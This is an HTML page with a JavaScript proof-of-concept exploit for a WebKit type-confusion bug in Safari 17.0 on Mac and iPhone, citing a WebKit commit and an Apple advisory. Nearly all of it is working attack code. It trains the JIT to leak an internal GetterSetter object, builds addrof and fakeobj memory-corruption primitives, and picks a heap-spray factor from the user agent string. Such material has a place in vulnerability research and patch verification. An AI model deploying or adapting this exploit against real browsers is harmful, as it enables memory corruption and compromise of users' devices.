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pwn.html
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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="util.js"></script>
<script src="int64.js"></script>
<title>Document</title>
</head>
<body>
<p id="factors">
</p>
<p id="status"></p>
<script>
/*
author: @po6ix
commit: https://github.com/WebKit/WebKit/commit/08d5d17c766ffc7ca6a7c833c5720eb71b427784
advisory: https://support.apple.com/en-us/HT213926
*/
let boxed_arr = new Function();
boxed_arr.p1 = 1.1;
boxed_arr[0] = {};
let getter = new Function();
getter.p1 = 1.1;
getter[0] = 1.1;
let shape = {};
for (let i = 0; i < 14; ++i) {
shape['p'+i] = i;
}
let shapes = [];
for (let i = 0; i < 100; ++i) {
shapes.push({
...shape,
['z'+i]: 0x1337
});
}
function trigger(type) {
let object_a = {};
object_a.foo = 1;
object_a.p1 = 1.1;
let object_b = {};
object_b.__defineGetter__('p1', getter);
object_b.foo = 1;
function get_getterSetter(type) {
let o, retval;
if (type == 0) o = object_a;
else o = object_b;
for (let i = 0; i < 2; ++i) {
if (type == 0) retval = o.foo;
else retval = o.foo;
}
return retval;
}
for (let i = 0; i < 1e6; ++i) {
get_getterSetter(i % 2);
}
for (let i = 0; i < 1e6; ++i) {
get_getterSetter(i % 2);
}
for (let i = 0; i < 1e6; ++i) {
get_getterSetter(i % 2);
}
for (let i = 0; i < 1e6; ++i) {
get_getterSetter(i % 2);
}
for (let i = 0; i < 1e6; ++i) {
get_getterSetter(i % 2);
}
for (let i = 0; i < 1e6; ++i) {
get_getterSetter(i % 2);
}
for (let i = 0; i < 1e6; ++i) {
get_getterSetter(i % 2);
}
for (let i = 0; i < 1e6; ++i) {
get_getterSetter(i % 2);
}
return [getter, get_getterSetter(1)];
}
(function pwn() {
let [getter, getterSetter] = trigger();
let success = false;
try {
getterSetter.toString();
} catch(e) {
// it should fail to call toString
success = true;
}
if (!success) {
document.getElementById("status").innerHTML = "Exploit failed.. Trying again!"
location.reload()
return;
}
let symbolObject = Object(getterSetter);
let isMac = navigator.userAgent.indexOf('Macintosh;') !== -1;
let isIphone = navigator.userAgent.indexOf('iPhone;') !== -1;
let version = navigator.userAgent.split('Version/')[1].split(' ')[0];
let factor;
let unknown_device = false;
if (isMac && version == '17.0') {
factor = 840;
} else if (isIphone && version == '17.0') {
factor = 87;
} else {
factor = 87 + Math.floor(Math.random() * 1000);
unknown_device = true;
}
let ref_arr = [];
for (let i = 0; i < factor; ++i) {
ref_arr.push(symbolObject.description);
}
getter.p13 = 1.1; // change the length of boxed_arr
let unboxed_arr = getter;
function addrof(o) {
boxed_arr[8] = o;
return Int64.fromDouble(unboxed_arr[0]);
}
function fakeobj(addr) {
unboxed_arr[0] = addr.asDouble();
return boxed_arr[8];
}
let sample = BigInt(addrof({}).toString());
if (sample >= 0x200000000 || sample < 0x100000000) {
// alert('failed');
location.reload();
return;
} else {
alert(`success!!!`);
if (unknown_device) {
alert(`It seems you have found a valid factor for an untested device!\nIf you send this information to me, it could be helpful to others.\nisMac: ${isMac}, isiPhone: ${isIphone}, version: ${version}, factor: ${factor}, userAgent: ${navigator.userAgent}`);
document.getElementById("status").innerHTML = "Success!"
}
}
alert(addrof({}).toString());
alert(addrof({}).toString());
alert(addrof({}).toString());
alert(addrof({}).toString());
})();
</script>
</body>
</html>